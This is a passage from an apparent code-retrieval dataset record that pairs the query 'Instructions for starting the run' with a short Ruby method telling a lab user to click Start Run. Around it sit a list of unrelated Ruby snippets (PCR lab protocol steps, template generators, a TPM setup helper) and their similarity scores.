INPUT)\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_temporary_output_values(operations)\n \n # reassign labels to sample numbers if uw kit\n if KIT_NAME == \"uw kit\"\n operations.each do |op|\n op.temporary[:output_sample] = {\"A\"=>1, \"B\"=>2}[op.temporary[:output_sample]]\n end \n end\n \n run_checks operations\n if KIT_NAME == \"uw kit\"\n uw_kit_introduction operations.running\n else\n kenya_kit_introduction operations.running\n end\n area_preparation \"pre-PCR\", MATERIALS, POST_PCR\n get_pcr_packages operations.running\n open_pcr_packages operations.running\n debug_table operations.running\n check_for_tube_defects sorted_ops.running\n # nuttada thaw\n # nuttada needs vortex + centrigure\n centrifuge_samples sorted_ops.running\n resuspend_pcr_mix sorted_ops.running\n add_template_to_master_mix sorted_ops.running\n cleanup sorted_ops\n start_thermocycler sorted_ops.running\n conclusion sorted_ops\n return {}\n end", "def generate\n\t\ttemplate('service.tt', \"lib/services/#{name.underscore}_service.rb\")\n\tend", "def template_guide\n @title = \"Template Guide\"\n end", "def create_template_spec_dot_rb\n\tsystem('touch template_spec.rb')\n\tfile = File.open('template_spec.rb', 'w')\n\tfile.puts(\"require_relative '../lib/template'\")\n\tfile.puts('')\n\tfile.puts('')\n\tfile.puts(\"describe 'the /name/ method' do\")\n\tfile.puts(\"\tit 'should /action/' do\")\n\tfile.puts(\"\t\texpect(/name/(/argument/)).to eq(/result/)\")\n\tfile.puts(\"\tend\")\n\tfile.puts(\"end\")\n\tfile.close\nend", "def virtual_machine_template(name)\n kubevirt_client.get_virtual_machine_template(name, @namespace)\n end", "def template_for_options(opts = {})\n type = opts[:template_type] || 'log'\n if opts[:\"template-raw\"]\n Support::RawERbTemplate.new(opts[:\"template-raw\"])\n elsif opts[:template].is_a?(Support::Template)\n opts[:template]\n else\n template = opts[:template]\n template = \"default-#{type}\" if template.nil? || template.to_s == \"default\"\n Support::Template['mercurial', template]\n end\n end", "def getpsc_ta (questionChild,type,number,ask,hashNames)\r\n name=\"#{type}_#{number}\"\r\n getContainsKey(hashNames,type,name)\r\n erbTemplate = getTemplate(\"../encuestas/templates/psc_ta.template\",binding)\r\n return erbTemplate.to_s\r\n end", "def generate_generatable_options\n common_password\n security_group\n\n set_cf_release_branch(\"master\")\n end", "def create\n puts \"(V)oter or (P)olitician\"\n options = gets.chomp.downcase # voter or politician\n case(options)\n when \"v\"\n voterclass\n when \"p\"\n politicianclass\n end\n end", "def pcr_prompt\n puts \"\\n***************For the following questions, Please provide which test you have receieved.***********************************\"\n puts \"\\n\\nDid you receive a PCR swab test? Please type 'yes' or 'no'. (For informaiton about PCR or other testing types, please visit https://www.cdc.gov/coronavirus/2019-ncov/lab/testing.html\"\n pcr_response = gets.strip.downcase\n return_to_menu(pcr_response)\n exit_anything(pcr_response)\n if pcr_response == \"yes\"\n pcr_test = true\n elsif pcr_response == \"no\"\n pcr_test = false\n else puts \"\\nDid you mean to hit 'yes', 'no', 'menu', or 'exit'?\"\n pcr_prompt\n end\n pcr_test\nend", "def template_name; end", "def template_name; end", "def generate_from_templates\r\n %w{package.json _config.yml}.each do |file|\r\n template file\r\n end\r\n end", "def generate_args\n stdin = []\n cmd = ['tpm_takeownership']\n owner_pass = resource[:owner_pass]\n srk_pass = resource[:srk_pass]\n\n if owner_pass != 'well-known'\n stdin << [ /owner password/i, owner_pass ]\n stdin << [ /Confirm password/i, owner_pass ]\n else\n cmd << '-y'\n end\n\n if srk_pass != 'well-known'\n stdin << [ /SRK password/i, srk_pass ]\n stdin << [ /Confirm password/i, srk_pass ]\n else\n cmd << '-z'\n end\n return stdin, cmd.join(' ')\n end", "def customize\n # If the PACKAGE_VERSION variable is passed from the command line, then set\n # @package_version equal to what was passed. Else, use the current version\n # of puppet\n if ENV['PACKAGE_VERSION']\n @package_version = ENV['PACKAGE_VERSION']\n else\n @package_version = '2.7.3'\n end\n \n # Puppet-specific Variables\n @title = \"Puppet_Install\"\n @reverse_domain = \"com.puppetlabs\"\n @package_major_version = @package_version.split('.')[0]\n @package_minor_version = @package_version.split('.')[1] + @package_version.split('.')[2]\n @puppet_file = \"puppet-#{@package_version}\"\n @puppet_url = \"http://downloads.puppetlabs.com/puppet/\"\n @puppet_tarfile = \"#{@puppet_file}.tar.gz\"\nend", "def usage; <<-USAGE\n Creating projects:\n Create iPhone project:\n titanium create --platform=iphone --name=FooMobile --id=com.foo.mobile\n\n Create Android project\n titanium create --platform=android --name=FooMobile \\\\\n --id=com.foo.mobile --android=/opt/android-sdk\n\n Create iPhone and Android project\n titanium create --platform=iphone,android --name=FooMobile \\\\\n --id=com.foo.mobile --android=/opt/android-sdk\n\n Running projects:\n Run iPhone project:\n titanium run --platform=iphone\n\n Run iPhone project:\n titanium run --platform=android\n\n USAGE\n end" ]
[ "0.5921452", "0.5792563", "0.5792563", "0.5756914", "0.558119", "0.55104923", "0.5504259", "0.55035883", "0.5481071", "0.5431782", "0.54145294", "0.5328151", "0.5320709", "0.5311426", "0.5306174", "0.52413887", "0.5228297", "0.5195293", "0.5186276", "0.51830405", "0.51774436", "0.517738", "0.516971", "0.5143098", "0.51374155", "0.5129538", "0.512348", "0.51160175", "0.51152885", "0.5113805", "0.51136386", "0.510892", "0.51060444", "0.5099084", "0.509517", "0.5093343", "0.5083414", "0.50816244", "0.5062703", "0.5047801", "0.5039711", "0.5037051", "0.5029441", "0.5022846", "0.5020234", "0.50196373", "0.50140744", "0.5012487", "0.50106376", "0.5004045", "0.4994873", "0.49830928", "0.49789563", "0.49779662", "0.4963889", "0.49630728", "0.49435505", "0.4940398", "0.49400985", "0.49268347", "0.49258804", "0.49126586", "0.49124536", "0.49070248", "0.49052486", "0.49043512", "0.49038547", "0.4898955", "0.48938555", "0.4892048", "0.48916188", "0.48888633", "0.48794273", "0.48794273", "0.48794273", "0.48794273", "0.48794273", "0.48794273", "0.48794273", "0.48768353", "0.48681915", "0.48573744", "0.48572785", "0.485466", "0.48542702", "0.48537797", "0.48534688", "0.48501766", "0.4846482", "0.48397473", "0.48394066", "0.4831759", "0.4830659", "0.48237348", "0.48237348", "0.48223132", "0.48187792", "0.48182473", "0.48153612" ]
0.70982546
1
Instructions for opening the lid
def open_lid 'Click the <b>Open Lid</b> button' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def open_lid()\n \"Click the <b>Open Lid</b> button\"\n end", "def open\n\t \texec 'open '+@params[0]\n\t end", "def open_article(article_id)\n Launchy.open(Article.find(article_id).url)\nend", "def la\n send_command \"la\"\n end", "def open url\r\n command 'open', url_arg(url)\r\n end", "def open url\r\n command 'open', url_arg(url)\r\n end", "def opening; end", "def opening; end", "def opening; end", "def open_software\n \"Open #{software_name}\"\n end", "def open_software\n \"Open #{software_name}\"\n end", "def cmd\n story_ids.map { |id| \"open #{story_url(id)}\" }.join(' ; ')\n end", "def openMap _args\n \"openMap _args;\" \n end", "def open(*args, &block)\n end", "def open_lid_image\n image_path(image_name: params[:open_lid_image])\n end", "def onCmdOpen( obj, sig, par )\n\t\t\twin = TicketListWindow.new( getApp(), @mdimenu, @mdiclient )\n\t\t\twin.create\n\t\t\twin.show\n\t\t\t@mdiclient.setActiveChild( win )\n\t\t\treturn 1\n\t\tend", "def open()\n \n #note we would want to check for the browser being open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://store.mage.dev/admin\") #note this should be from setting file\n event(\"Post\")\n end", "def open(item)\n `#{open_command} '#{item.url.gsub(\"\\'\",\"\\\\'\")}'`\n\n \"Boom! We just opened #{item.value} for you.\"\n end", "def method_missing(name, *args, &block)\n send :open, name\n end", "def open_mine!(minor)\n @log << \"#{minor.name} is opened\" unless @minor_info[minor][:open]\n @minor_info[minor][:open] = true\n\n # flip token to open side\n open_image = \"1873/#{minor.id}_open\"\n tile = hex_by_id(minor.coordinates).tile\n return unless (icon = tile.icons.find(&:large))\n\n tile.icons[tile.icons.find_index(icon)] =\n Part::Icon.new(open_image, nil, true, nil, tile.preprinted, large: true, owner: minor.owner)\n end", "def open(id)\n API::Device.open(id) do |pointer|\n API.snd_rawmidi_open(nil, pointer, id, 0)\n end\n end", "def open(underlying_device)\n HDB.verbose and puts \"Running cryptsetup --key-file - luksOpen #{underlying_device} #{@label}\"\n IO.popen(\"cryptsetup --key-file - luksOpen #{underlying_device} #{@label}\", \"w\") { |f| f.print @pass }\n $? != 0 and raise \"Error trying to open disk: #{$?}\"\n end", "def open(id)\n API::Device.open(id) do |pointer|\n API.snd_rawmidi_open(pointer, nil, id, API::CONSTANTS[:SND_RAWMIDI_NONBLOCK])\n end\n end", "def open(event)\n player = event[:player]\n\n if @locked\n player.output(\"The #{@generic} is locked.\")\n elsif @open\n player.output(\"The #{@generic} is already open, silly.\")\n else\n @open = true\n room = $manager.find(player.room, nil)\n\n if @name.empty?\n player.output \"You open #@article #@generic.\"\n room.output \"#{player.name} opens #@article #@generic.\", player\n else\n player.output \"You open #@name.\"\n room.output \"#{player.name} opens #@name.\", player\n end\n end\n end", "def on_open(env)\n #puts \">>>>> OPEN\"\n end", "def start\n\t\t# puts \"Starting #{@ip} ...\"\n\t\tsystem ipmi_command + \" chassis power on\"\n\tend", "def other_side_opened\n room = $manager.find @container\n @open = true\n room.output \"The #{@generic} opens.\"\n end", "def open\n # Opening the simulator with a specific UDID will boot the device\n if booted\n shutdown\n end\n sim = %x[/usr/bin/xcode-select -p].gsub(\"\\n\", \"/Applications/iOS Simulator.app\")\n %x[open -g -a '#{sim}' --args -CurrentDeviceUDID #{self.id}]\n sleep 0.5\n end", "def close_lid()\n \"Click the <b>Close Lid</b> button\"\n end", "def open\n require \"launchy\"\n\n Launchy.open(BASE_URL)\n end", "def open(id, **options, &block)\n path(id).open(binmode: true, **options, &block)\n end", "def open_command\n if darwin?\n 'open'\n elsif windows?\n 'start'\n else\n 'xdg-open'\n end\n end", "def open\n @output = DL::CPtr.new(0)\n C.snd_rawmidi_open(nil, @output.ref, \"virtual\", 0)\n end", "def close_lid\n 'Click the <b>Close Lid</b> button'\n end", "def close_lid\n 'Click the <b>Close Lid</b> button'\n end", "def open_command\r\n if RbConfig::CONFIG[\"host_os\"] =~ /mswin|mingw/\r\n \"start\"\r\n elsif RbConfig::CONFIG[\"host_os\"] =~ /darwin/\r\n \"open\"\r\n else\r\n \"xdg-open\"\r\n end\r\nend", "def open()\n \n #note we would want to check for the browser bing open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://local.general.dev/info.php\") #note this should be from setting file\n event(\"Post\")\n end", "def help\nputs <<HELPTEXT\n\nNAME\n lifasread - LIF ascii file read\n\nSYNOPSIS\n\tlifasread [-hv] [--help, --version] [lif-file] [destination file]\n\nDESCRIPTION\n\tlifasread is used as a tool for HP-41 or HP-71 connected to a PC.\n\tlifasread reads an ascii file inside a lif formated file.\n\tIt reads only the first ascii file and so the lif-file should\n\tbe consisting of only one file. To create a lif file with only\n\tone file from an HP-41, have your calculator hooked to the PC\n\tand/or a lif-writing mass storage device and XEQ \"NEWM 001\". Then\n\tput the size of the ascii file in the X register and its name in\n\tthe Alpha register. Then XEQ \"CRFLAS\". Fill it with content as needed,\n\tand XEQ \"SAVEAS\" to save the file to mass storage.\n\tThen from your PC execute lifasread to extract the content.\n\tThe sister-script \"lifaswrite\" will reverse the process.\n\nOPTIONS\n -h, --help\n Show this help text\n \n -v, --version\n Show the version of imap_search\n\nEXAMPLE\n\tlifasread hdrive1.lif textfile.txt\n\n\tThis would extract the ascii file from \"hdrive1.lif\" and write\n\tit to the file \"textfile.txt\".\n \nCOPYRIGHT:\n Copyright 2010, Geir Isene (http://www.geir.isene.com, g@isene.com)\n This program is released under the GNU General Public lisence v3\n For the full lisence text see: http://www.gnu.org/copyleft/gpl.html\n\nHELPTEXT\nend", "def lsi; end", "def lti_launch\n auth_hash = request.env[\"omniauth.auth\"]\n message_store = GitHubClassroom.lti_message_store(\n consumer_key: auth_hash.credentials.token\n )\n\n message = GitHubClassroom::LTI::MessageStore.construct_message(auth_hash.extra.raw_info)\n raise(\"invalid lti launch message\") unless message_store.message_valid?(message)\n\n nonce = message_store.save_message(message)\n session[:lti_nonce] = nonce\n\n linked_org = LtiConfiguration.find_by_auth_hash(auth_hash).organization\n\n if logged_in?\n redirect_to complete_lti_configuration_path(linked_org)\n else\n session[:pre_login_destination] = complete_lti_configuration_path(linked_org)\n authenticate_user!\n end\n end", "def open_command\n if RbConfig::CONFIG[\"host_os\"] =~ /mswin|mingw/\n \"start\"\n elsif RbConfig::CONFIG[\"host_os\"] =~ /darwin/\n \"open\"\n else\n \"xdg-open\"\n end\nend", "def open(data)\n Messager.new_screen\n if data[1] =~ /^(with|using)/\n data[1] = data[2]\n end\n# door = Map.room.which_door(data[0])\n door = Item.whatis(data[0], 'Door')\n if door.nil? || door == ''\n Messager.add('open_noobject')\n else\n if (not data[1].nil?) && (not data[1] == '')\n object = Item.whatis(data[1], 'Thing')\n if object.nil?\n Messager.add('open_nohelper')\n end # if object.nil?\n end # if (not data[1].nil?) && (not data[1] == '')\n answer = door.open(object)\n if answer == true\n Messager.add_message(Message.text('door_opens') + door.name)\n# Messager.add('door_opens')\n else\n Messager.add('door_noopen')\n end\n end # if door.nil? || door == ''\n end", "def opened\n end", "def idt_login\n show do\n title \"Prepare to order primer\"\n \n check \"Go to the <a href='https://www.idtdna.com/site/account' target='_blank'>IDT website</a>, log in with the lab account. (Username: #{IDT_USER}, password is #{IDT_PASS}).\"\n warning \"Ensure that you are logged in to this exact username and password!\"\n end\n end", "def open_window url, window_id\r\n command 'openWindow', url, window_id\r\n end", "def cmd_nlst(param)\n send_unauthorised and return unless logged_in?\n send_response \"150 Opening ASCII mode data connection for file list\"\n\n files = list_dir(build_path(param))\n send_outofband_data(files.map { |f| f.name })\n end", "def idl(*idlfiles)\n @recipe.idl(idlfiles.flatten.compact)\n end", "def lamp(power)\n\t\t#:lamp_on =>\t\t\"$02,$00,$00,$00,$00,$02\",\n\t\t#:lamp_off =>\t\t\"$02,$01,$00,$00,$00,$03\",\n\t\t\n\t\t\n\t\tcommand = [0x02, 0x00, 0x00, 0x00, 0x00, 0x02]\n\t\tif [Off, \"off\", :off].include?(power)\n\t\t\tcommand[1] += 1\t\t# power off\n\t\t\tcommand[-1] += 1\t# checksum\n\t\t\tself[:lamp_target] = Off\n\t\telse\n\t\t\tself[:lamp_target] = On\n\t\tend\n\t\t\n\t\tsend(command)\n\tend", "def open_data_screen\n open OpenDataScreen.new(nav_bar: true)\n # open HelpScreen.new(nav_bar: true)\n end", "def menu_open\n @open_signals.each do |signal|\n signal.call(@last_path, :open)\n end\n end", "def open_pu_management_page_1\n #request to open\n open(url_for(:controller => \"misc\", :action => \"adminmenu\"))\n\n #wait for loading page\n wait_for_page_to_load \"30000\"\n\n #Click to open PU link\n click $xpath[\"misc\"][\"PU_link\"]\n\n sleep 3\n end", "def open\n return nil if @open.nil?\n @open ? '1' : '0'\n end", "def login_once\n run_now \"ls -l\"\n end", "def open!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n\n\n\n type = OPEN\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 207:7: 'def'\n match( \"def\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n\n end", "def open\n @is_running = true\n run_interpreter\n end", "def login_instructions\n end", "def execute(oids)\n return [] unless project&.lfs_enabled?\n\n # Search and link existing LFS Object\n link_existing_lfs_objects(oids)\n end", "def login_command_for_mac\n create_rdp_doc(mac: true)\n\n LoginCommand.new(\"open\", rdp_doc_path)\n end", "def open_start\r\n\r\n @simulator = WIN32OLE.new('AutoItX3.Control')\r\n\r\n Dir.chdir(@sim_gui_path)\r\n Dir.pwd\r\n \r\n @simulator.Run(\"V4SingleSimulatorGUI.exe\")\r\n @simulator.WinWaitActive(\"Emerson (Copyright 2012)\")\r\n @simulator.ControlClick(\"Emerson (Copyright 2012)\",\"Remote Control on Port:\",\"WindowsForms10.BUTTON.app.0.bb8560_r15_ad11\")\r\n @simulator.Send(\"{F1}\")\r\n @simulator.WinWaitActive(\"Open\")\r\n @simulator.ControlSetText(\"Open\", \"\",\"Edit1\",@sim_path)\r\n @simulator.ControlClick(\"Open\",\"&Open\",\"Button1\")\r\n @simulator.WinWaitActive(\"SelectIPAddress\")\r\n @simulator.ControlClick(\"SelectIPAddress\",\"Select\",\"WindowsForms10.BUTTON.app.0.bb8560_r15_ad12\")\r\n \r\n #Start simulator\r\n @simulator.Send(\"{F5}\")\r\n\r\n end", "def test\n system \"newlisp-edit\"\n end", "def shell_open()\n\t\traise NotImplementedError\n\tend", "def open\n raise NotImplementedError.new(\"Method 'open' not implemented by '#{self.class.name}'\")\n end", "def start(mode)\n end", "def open\n init_screen\n init_colors\n init_keys\n\n curs_set 0 # hide the cursor\n cbreak # turn off line buffering\n\n yield\n\n close\n end", "def start_program\n try_load_students\n interactive_menu\nend", "def open(*args)\n cmd = RUBY_PLATFORM.match(/darwin/) ? 'open' : 'xdg-open'\n open_with(cmd, *args)\n end", "def open(target_milestone, opts=Hash.new)\n new({:target_milestone => target_milestone, \n :status => [:unconfirmed, :new, :assigned, :reopened],\n :priority => %w(--- P1 P2 P3),\n }.merge(opts))\n \t\tend", "def open!(*args)\n @status = :opening\n self.buffer.open # @buffer.status to :opening\n\n self.set_timer\n self.set_alive_checker\n self.finish\n end", "def open(filename, line_number = nil, column_number = nil)\n filename = filename.filepath if filename.is_a? RailsPath\n options = []\n options << \"url=file://#{filename}\"\n options << \"line=#{line_number + 1}\" if line_number\n options << \"column=#{column_number + 1}\" if column_number\n open_url \"txmt://open?\" + options.join(\"&\")\n end", "def initialize(id)\n # Class constructor\n @id = id\n @open = true\n end", "def turn_on()\n 'Turn on the #{model}<br>' \\\n 'If the thermocycler is off, toggle the power switch in the back of the instrument'\n end", "def os_open(*args)\n cmd = RUBY_PLATFORM.end_with?('linux') ? 'xdg-open' : 'open'\n system(cmd, *args)\n end", "def cfs_kit_launch_tutorial_screen\n\n tutorial_scr_file = \"#{Osk::SCR_DIR}/#{Osk::TUTORIAL_SCR_FILE}\"\n\n scr_tutorial_dir = File.open(tutorial_scr_file) {|f| f.readline}\n\n if scr_tutorial_dir.index(Osk::SCR_DIR).nil? \n cfs_kit_create_tutorial_screen\n end\n \n display(\"CFS_KIT #{File.basename(Osk::TUTORIAL_SCR_FILE,'.txt')}\",500,50)\n \nend", "def launch_vehicle; end", "def launch_tracker (analyst_name, creative_name, title, item_url)\n\n li = OpenWFE::LaunchItem.new(TRACKER_DEF)\n #\n # preparing a lunchitem ;) around our TrackerDefinition\n\n li.analyst = analyst_name\n li.creative = creative_name\n li.title = title\n li.item_url = item_url\n #\n # filling the workitem with attributes\n\n $engine.launch(li)\nend", "def open_command\n darwin? ? 'open' : 'xdg-open'\n end", "def open\n system \"open #{@output}\"\n end", "def open_random\n Defcli.open_in_browser random_url(:api => false)\n end", "def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end", "def create\n @lid = Lid.new(params[:lid])\n\n respond_to do |format|\n if @lid.save\n format.html { redirect_to @lid, notice: 'Lid was successfully created.' }\n format.json { render json: @lid, status: :created, location: @lid }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lid.errors, status: :unprocessable_entity }\n end\n end\n end", "def open_in_browser\n puts url\n `#{open} #{url}`\n end", "def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end", "def content\n return <<-EOF\ndefault lucie\n\nlabel lucie\nkernel #{ INSTALLER_KERNEL }\nappend initrd=#{ initrd } ip=dhcp devfs=nomount root=/dev/nfs nfsroot=#{ @nfsroot } boot=live hostname=#{ @node.name } #{ $KERNEL_OPTIONS }\nEOF\n end", "def lu!\n lu_private(true)\n end", "def show\n @lmml_file = LmmlFile.new(params[:autopsy_id] || params[:id])\n end", "def open\n ensure!\n open_in_editor\n end", "def open_in_browser\n link = \"http://www.bandsintown.com/cities/pittsburgh-pa\"\n if RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\n system \"start #{link}\"\n elsif RbConfig::CONFIG['host_os'] =~ /darwin/\n system \"open #{link}\"\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system \"xdg-open #{link}\"\n end\n end", "def cfs_kit_launch_tutorial_screen\r\n\r\n tutorial_scr_file = \"#{Osk::SCR_DIR}/#{Osk::TUTORIAL_SCR_FILE}\"\r\n\r\n scr_tutorial_dir = File.open(tutorial_scr_file) {|f| f.readline}\r\n\r\n if scr_tutorial_dir.index(Osk::SCR_DIR).nil? \r\n cfs_kit_create_tutorial_screen\r\n end\r\n \r\n display(\"CFS_KIT #{File.basename(Osk::TUTORIAL_SCR_FILE,'.txt')}\",500,50)\r\n \r\nend", "def on_open\n\t\t\ttrue\n\t\tend", "def dev_exp; nav.link(:text, 'Device Explorer'); end", "def onopen(&blk); super; end", "def exibir_lojas()\n lojas.click\n end", "def Animate_Open(hwnd, szName)\r\n send_animation_message(hwnd, :OPEN, lparam: szName)\r\n end", "def open_pdi_page(*args, &block)\n @p.open_pdi_page(self, *args, &block)\n end", "def login\n command, *args = driver.login_command(load_state)\n\n debug(\"Login command: #{command} #{args.join(' ')}\")\n Kernel.exec(command, *args)\n end", "def open(title, body)\n Giic::Core.open(:user => @project.user, :repo => @project.repo,\n :params => { :title => title, :body => body }.merge(authentication_data))\n end", "def use\n\t\tglUseProgram @id\n\tend", "def open\n close\n @shell = service.open_shell\n @command_count = 0\n determine_max_commands unless max_commands\n shell\n end", "def ino() end" ]
[ "0.7099696", "0.5964588", "0.57755613", "0.57684386", "0.55949026", "0.55949026", "0.5536304", "0.5536304", "0.5536304", "0.54686815", "0.54686815", "0.5456305", "0.5439724", "0.5430725", "0.542582", "0.54175514", "0.54089785", "0.53694594", "0.536925", "0.53591824", "0.5348347", "0.53363127", "0.53296655", "0.5298394", "0.5275986", "0.525966", "0.5237178", "0.5217744", "0.52046347", "0.51800734", "0.5159631", "0.5146088", "0.5143136", "0.5140562", "0.5140562", "0.51399773", "0.51342565", "0.51339096", "0.51337737", "0.51131815", "0.51015395", "0.5101027", "0.50925416", "0.5091908", "0.5091694", "0.50759625", "0.50739706", "0.5063461", "0.5061665", "0.50392866", "0.5038959", "0.50370306", "0.5023914", "0.50066084", "0.49872792", "0.4971581", "0.4968338", "0.49462345", "0.49427602", "0.49396122", "0.49214706", "0.49185103", "0.49117947", "0.49084398", "0.49071673", "0.49053544", "0.49032697", "0.49012026", "0.4900914", "0.48927125", "0.48827288", "0.4881362", "0.48813462", "0.48793155", "0.4876875", "0.4873565", "0.487247", "0.48719904", "0.48700526", "0.48597726", "0.48570588", "0.4852274", "0.48446304", "0.4841139", "0.4841133", "0.4841063", "0.48314673", "0.48307583", "0.4818458", "0.4816435", "0.4793279", "0.47919196", "0.47904414", "0.47831878", "0.47827283", "0.47824574", "0.47824505", "0.47766334", "0.47727424" ]
0.69823945
2
Instructions for closing the lid
def close_lid 'Click the <b>Close Lid</b> button' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def close\r\n command 'close'\r\n end", "def close\r\n command 'close'\r\n end", "def close_lid()\n \"Click the <b>Close Lid</b> button\"\n end", "def shut_down\n end", "def closeOverlay _args\n \"closeOverlay _args;\" \n end", "def close_cmd()\n\tend", "def close\n # NOOP\n end", "def close\n # NOOP\n end", "def close\n tagged_response(\"CLOSE\")\n end", "def closeServer()\n com = Sumo::Traci::Command_Close.new() ;\n execCommands(com) ;\n close() ;\n end", "def close *args\n end", "def close\r\n\t\t\tsuper\r\n\t\t\t\r\n#\t\t\tAPI.HTMLProcessTerminate\r\n#\t\t\tAPI.NotesTerm\r\n\t\tend", "def close!\n end", "def close\n send_termination_event\n end", "def other_side_closed\n room = $manager.find @container\n @open = false\n room.output \"The #{@generic} closes.\"\n end", "def close\n SLPClose(@handle)\n end", "def close\n\n # nothing to do here.\n end", "def Close\n end", "def close\n return if closed?\n\n nocbreak\n close_screen\n end", "def close() end", "def close() end", "def close() end", "def close() end", "def close() end", "def shell_close()\n self.kill\n end", "def close\n case @state\n when :open_block, :closed_block\n @selectors.pop\n @properties.pop\n else\n raise \"#close not available when state is #{@state.inspect}\"\n end\n \n @state = :closed_block\n end", "def close(actor, arg)\n conscious!(actor, 'You must be awake to close things.')\n\n command_error 'What would you like to close?' unless arg\n\n target = match_keyword(arg, closable_entities(actor)) or\n command_error 'You do not see that here.'\n\n comp = get_component(target, :closable)\n command_error 'It is already closed.' if comp.closed\n\n comp.closed = true\n act('%{actor} %{v:close} %{door}.', actor: actor, door: target)\n end", "def shut_down\n puts\n end", "def close_window\n end", "def close\n # ..\n end", "def close_safebox(safebox_guid)\n handle_error { sendsecure_connection.patch(\"api/v2/safeboxes/#{safebox_guid}/close.json\") }\n end", "def closepath\n call :closepath\n end", "def close(context)\n context.debug('Logout connection')\n @connection_info = nil\n @client.logout\n @client = nil\n @system = nil\n end", "def close\r\n pop_game_state\r\n end", "def quit\n @open = false\n 'The library is now closed for renovations.'\n end", "def close\n\t\t\tKernel.exit 0\n\t\tend", "def close_command *args, &block\n @close_command ||= []\n @close_args ||= []\n @close_command << block\n @close_args << args\n end", "def close\n puts \"Goodbye comeback soon!\"\n exit\nend", "def do_close; end", "def quit # :nodoc:\n @master = @master.close if @master\n end", "def ole_stop\n @ole.quit\n end", "def close!\n close(true)\n end", "def close_fishing_ground(command_attributes)\n @current_resource = @api.get(@current_resource.body.links[:self].href) # aka \"reload\"\n\n fishing_grounds = @current_resource.body.resources[:\"fishing-grounds-available-to-join\"]\n\n # Isn't Frenetic supposed to do this for us???\n fishing_ground_url =\n fishing_grounds.detect { |ground|\n UUIDTools::UUID.parse(ground[\"uuid\"]) == command_attributes.fetch(:uuid)\n }[\"_links\"][\"self\"][\"href\"]\n\n @api.delete(fishing_ground_url)\n end", "def close\n File.open(\"#{ GPIO_PATH }/unexport\", \"w\") { |f| f.write(\"#{pin_num}\") }\n end", "def close(event)\n player = event[:player]\n\n if not @open\n player.output(\"The #{@generic} is already closed, silly.\")\n else\n @open = false\n room = $manager.find(player.room, nil)\n\n if @name.empty?\n player.output \"You close #@article #@generic.\"\n room.output \"#{player.name} closes #@article #@generic.\", player\n else\n player.output \"You close #@name.\"\n room.output \"#{player.name} closes #@name.\", player\n end\n end\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n end", "def terminate\n RightLinkLog.debug(format_log_message(\"Terminate requested\"))\n run_command(\"break\")\n end", "def close\n # no-op\n end", "def close_menu\n pending\n perform_action('drag', 20, 0, 10, 10, 10)\n end", "def halt\n open_door\n close_door\n end", "def close\n end", "def close\n end", "def close\n end", "def close\n abort('Thanks for playing!')\n end", "def shutdown(how = nil)\n end", "def close\n VersionService.close(\n identifier: @cocina_object.externalIdentifier,\n description: params[:description],\n significance: params[:significance],\n user_name: current_user.to_s\n )\n msg = \"Version #{@cocina_object.version} of #{@cocina_object.externalIdentifier} has been closed!\"\n redirect_to solr_document_path(params[:item_id]), notice: msg\n Argo::Indexer.reindex_druid_remotely(@cocina_object.externalIdentifier)\n end", "def close_app\n abort(\"See you next time!\")\n end", "def close( &block )\n compile!( :close!, &block )\n end", "def close_account\n @status = 'closed'\n end", "def closing?; end", "def exit\n @interface.hide\n # sth to destroy all dat shit??\n # Shut down propeller\n end", "def on_close\n on :close\n close\n end", "def close\n \"<body onload='window.close();'/>\"\n end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def closing; end", "def closing; end" ]
[ "0.72494537", "0.72494537", "0.7074303", "0.6456688", "0.6308452", "0.62582725", "0.62033784", "0.62033784", "0.617972", "0.61678773", "0.61536044", "0.61523724", "0.6139749", "0.6099724", "0.6085043", "0.60554165", "0.6046329", "0.6005288", "0.5996589", "0.59921616", "0.59921616", "0.59921616", "0.59921616", "0.59883654", "0.59736055", "0.5956306", "0.59497875", "0.59470457", "0.5938186", "0.5934566", "0.5931912", "0.5925679", "0.59138566", "0.5913224", "0.591225", "0.5907927", "0.5907088", "0.5903482", "0.5879686", "0.5871075", "0.5865246", "0.58559316", "0.5853", "0.5846765", "0.5842655", "0.583171", "0.583171", "0.583171", "0.583171", "0.583171", "0.583171", "0.583171", "0.583171", "0.583171", "0.58277243", "0.5821829", "0.58190763", "0.58173984", "0.5811053", "0.5811053", "0.5811053", "0.5802854", "0.5798657", "0.57899356", "0.57758415", "0.5768857", "0.5767144", "0.57662517", "0.5765943", "0.5750305", "0.57439476", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.5742634", "0.57308215", "0.57308215" ]
0.6954054
4
Instructions for starting the run
def start_run 'Click the <b>Start Run</b> button' end
